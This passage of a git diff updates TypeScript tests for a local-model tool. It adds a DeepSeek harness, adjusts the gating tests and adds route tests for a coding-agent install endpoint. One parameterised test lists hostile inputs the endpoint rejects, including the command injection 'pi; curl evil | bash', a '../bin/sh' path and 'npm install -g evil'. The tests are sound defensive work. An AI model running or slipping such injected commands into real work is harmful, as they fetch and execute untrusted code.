Display labels of the stock harnesses, as the CLI registry would supply them. Data, not a branch. */ -const HARNESS_LABELS: Record = { opencode: 'OpenCode', claude: 'Claude Code', pi: 'Pi' }; +const HARNESS_LABELS: Record = { + opencode: 'OpenCode', + claude: 'Claude Code', + pi: 'Pi', + deepseek: 'DeepSeek', +}; /** What the server knows about one harness: installed and accepting every model id, unless overridden. */ function fact(cli: string, overrides: Partial = {}): HarnessFact { @@ -170,7 +175,10 @@ const STOCK = getLocalModelCatalog(); /** The frozen catalogue of 2026-11-06: for the rule tests (see the file header). */ const RULES = LocalModelCatalogSchema.parse(RULES_LOCAL_MODEL_CATALOG); -/** Every harness installed, the gated one included. Both catalogues list the same three. */ +/** + * Every harness installed. The stock catalogue lists four and gates none; the rules catalogue + * lists the first three of them and gates one, which is what the gate tests need. + */ const ALL_INSTALLED: HarnessFact[] = STOCK.harnesses.map((row) => fact(row.cli)); /** A stock model row by id. */ @@ -595,9 +603,12 @@ describe('the MacBook Pro (Mac17,13: Apple M5 Pro, 48 GB)', () => { tested: true, needSource: 'measured', tag: { kind: 'tested', label: 'Tested on a Mac like this' }, + // Every harness of the catalogue can run it, the pick's own first, then by rank. harnesses: [ { cli: 'opencode', cliLabel: 'OpenCode', installed: true }, { cli: 'claude', cliLabel: 'Claude Code', installed: true, slowFirstTurn: true }, + { cli: 'pi', cliLabel: 'Pi', installed: true }, + { cli: 'deepseek', cliLabel: 'DeepSeek', installed: true }, ], // No runtime download was named, so an install downloads the model alone. installBytes: 23_105_798_956, @@ -1642,9 +1653,12 @@ describe('harnesses', () => { const hw = mac(48, 'Apple M4 Max'); it('never chooses a gated harness, even when it is the only one that could run a model', () => { + // The rule is tested on the rules catalogue, which gates one harness. The stock catalogue + // gates none since 2026-11-10; the sweep still runs on it, so a row gated again is covered. + expect(RULES.harnesses.filter((row) => row.gated).map((row) => row.cli)).toEqual(['pi']); + expect(STOCK.harnesses.filter((row) => row.gated)).toEqual([]); for (const [, catalog] of BOTH) { const gated = catalog.harnesses.filter((row) => row.gated).map((row) => row.cli); - expect(gated).toEqual(['pi']); for (const swept of SWEEP) { const result = recommend(swept, catalog, ALL_INSTALLED); for (const candidate of rows(result)) { diff --git a/test/routes/local-model-routes.test.ts b/test/routes/local-model-routes.test.ts index ac59b8b6..e8444f61 100644 --- a/test/routes/local-model-routes.test.ts +++ b/test/routes/local-model-routes.test.ts @@ -156,6 +156,7 @@ const IDLE_VIEW: LocalModelInstallView = { runtime: { version: '0.40.15', installed: false, downloadBytes: 185971671, downloadGb: '0.2', unpackedGb: '0.6' }, folder: '/Users/me/.codeman/local-model', library: [], + harnesses: [], actions: ['install'], }; @@ -185,6 +186,7 @@ function fakeService(): ServiceMock { install: vi.fn(async () => OK_RESULT), use: vi.fn(async () => OK_RESULT), deleteLibraryModel: vi.fn(async () => OK_RESULT), + installAgent: vi.fn(async () => OK_RESULT), cancel: vi.fn(async () => OK_RESULT), resume: vi.fn(async () => OK_RESULT), runtime: vi.fn(async () => OK_RESULT), @@ -284,8 +286,21 @@ describe('GET /api/local-model', () => { const res = await get(f.deps); expect(res.json().data.install).toEqual(INSTALLING_VIEW); expect(f.service.view).toHaveBeenCalledTimes(1); + // The facts built for the recommendation are the ones the view lists its coding agents + // from: the availability probe is asked once per answer, not twice. + expect(f.service.view).toHaveBeenCalledWith({ harnessFacts: FACTS }); + expect(f.buildHarnessFacts).toHaveBeenCalledTimes(1); // Looking is not doing: no verb of the service was called. - for (const verb of ['install', 'cancel', 'resume', 'runtime', 'remove', 'boot', 'shutdown'] as const) { + for (const verb of [ + 'install', + 'installAgent', + 'cancel', + 'resume', + 'runtime', + 'remove', + 'boot', + 'shutdown', + ] as const) { expect(f.service[verb]).not.toHaveBeenCalled(); } }); @@ -565,6 +580,7 @@ describe('the install verbs', () => { url: '/api/local-model/models', payload: { modelId: 'qwen3.8:27b' }, }, + { name: 'installAgent', method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }, { name: 'cancel', method: 'POST', url: '/api/local-model/cancel', payload: undefined }, { name: 'resume', method: 'POST', url: '/api/local-model/resume', payload: {} }, { name: 'runtime', method: 'POST', url: '/api/local-model/runtime', payload: { action: 'stop' } }, @@ -996,6 +1012,67 @@ describe('the library verbs', () => { }); }); + describe('POST /api/local-model/agent', () => { + it('hands the service the coding agent and who asked, and looks at no session', async () => { + const f = fakes(); + const { app } = await harness(f.deps, { username: 'alice', role: 'admin' }, SESSIONS); + await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }); + // Nothing about the model in use changes, so live sessions on it do not matter. + expect(f.service.installAgent).toHaveBeenCalledWith({ cli: 'pi' }, { username: 'alice', ip: '127.0.0.1' }); + }); + + it('an agent the server does not offer is a 400 with the sentence, as text and as data', async () => { + const f = fakes(); + f.service.installAgent.mockResolvedValue({ + ok: false, + status: 400, + message: { text: LOCAL_MODEL_INSTALL_LABELS.refusedAgentNotInstallable, vars: { cli: 'DeepSeek' } }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'deepseek' } }); + expect(res.statusCode).toBe(400); + expect(res.json()).toEqual({ + success: false, + error: 'DeepSeek is not installed and cannot be installed from here.', + errorCode: 'INVALID_INPUT', + data: { + message: { + text: '{cli} is not installed and cannot be installed from here.', + vars: { cli: 'DeepSeek' }, + }, + }, + }); + }); + + it('an installer that already runs is a 409 with the reason', async () => { + const f = fakes(); + f.service.installAgent.mockResolvedValue({ + ok: false, + status: 409, + conflict: { reason: 'job-running', message: { text: LOCAL_MODEL_INSTALL_LABELS.conflictJobRunning } }, + }); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', payload: { cli: 'pi' } }); + expect(res.statusCode).toBe(409); + expect(res.json()).toMatchObject({ success: false, errorCode: 'CONFLICT', data: { reason: 'job-running' } }); + }); + + it.each([ + ['no body', undefined], + ['no agent', {}], + ['a command', { cli: 'pi; curl evil | bash' }], + ['a path', { cli: '../bin/sh' }], + ['an upper-case id', { cli: 'Pi' }], + ['a command of its own', { cli: 'pi', command: 'npm install -g evil' }], + ])('refuses %s before the service is asked', async (_name, payload) => { + const f = fakes(); + const { app } = await harness(f.deps); + const res = await app.inject({ method: 'POST', url: '/api/local-model/agent', ...(payload ? { payload } : {}) }); + expect(res.statusCode).toBe(400); + expect(f.service.installAgent).not.toHaveBeenCalled(); + }); + }); + describe('DELETE /api/local-model/models', () => { it('hands the service the model name and who asked', async () => { const f = fakes();